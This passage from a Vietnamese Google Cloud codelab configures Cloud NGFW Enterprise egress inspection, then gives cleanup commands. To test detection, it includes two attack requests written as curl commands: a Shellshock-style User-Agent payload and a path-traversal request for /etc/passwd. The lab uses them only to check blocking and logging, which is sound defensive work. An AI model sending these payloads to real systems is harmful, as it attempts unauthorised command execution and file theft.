Như đã xác minh trong phần trước, các luồng được kiểm tra cho đến nay là lưu lượng truy cập nội bộ/VPC (Đông-Tây) và lưu lượng truy cập đến từ Internet (vào Bắc-Nam). Bạn cũng có thể định cấu hình Cloud NGFW Enterprise để kiểm tra tất cả lưu lượng truy cập Internet (chiều ra từ Bắc-Nam) bằng cách tạo một quy tắc vào ra mới sử dụng Cloud Shell:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
Chuyển về máy ảo máy khách và gửi lại các cuộc tấn công có mức độ nghiêm trọng cao đến IP máy chủ bên ngoài:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
Kết quả đầu ra dự kiến:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
Hãy chuyển sang thẻ Mối đe doạ trên Cloud Console để xác minh nhật ký (có thể bạn sẽ phải làm mới vài lần). Các cuộc tấn công lẽ ra phải được xác định và ghi lại, nhưng hiện tại IP nguồn là IP nội bộ vì một quy tắc thoát đang được kích hoạt trước:
Đóng phiên SSH và chuyển sang phần tiếp theo để biết các bước dọn dẹp.
8. Các bước dọn dẹp
Dọn dẹp các thành phần dành cho doanh nghiệp của Cloud NGFW
Liệt kê các liên kết Cloud NGFW Enterprise hiện có:
gcloud network-security firewall-endpoint-associations list
Xoá mối liên kết với Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Liệt kê các điểm cuối Cloud NGFW Enterprise hiện có:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Xoá điểm cuối Cloud NGFW Enterprise. Quá trình này có thể mất khoảng 20 phút:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Xác nhận rằng Cloud NGFW Enterprise đã bị xoá bằng cách chạy lệnh bên dưới:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Xoá Nhóm Hồ sơ bảo mật và Hồ sơ Ngăn chặn mối đe doạ:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Dọn dẹp chế độ thiết lập cơ sở
Tiếp tục thực hiện bước tiếp theo nếu bạn muốn xoá tài nguyên cơ sở.
Xác định các biến môi trường nếu cần. Trên Cloud Shell, hãy xoá các thành phần của Trình cân bằng tải mạng:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
Xoá thực thể:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Thực hiện các bước bên dưới nếu vai trò tagAdmin và tagUsers đã thay đổi:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Xoá khoá và giá trị Thẻ:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Xoá Chính sách mạng tường lửa trên đám mây và mối liên kết:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Xoá Cloud Router và Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Xoá các địa chỉ IP đã đặt trước:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Cuối cùng, hãy xoá mạng con và mạng VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. Xin chúc mừng!
Xin chúc mừng, bạn đã hoàn tất thành công lớp học lập trình Kiểm tra đám mây NGFW Enterprise cho Đông-Tây và Bắc-Nam.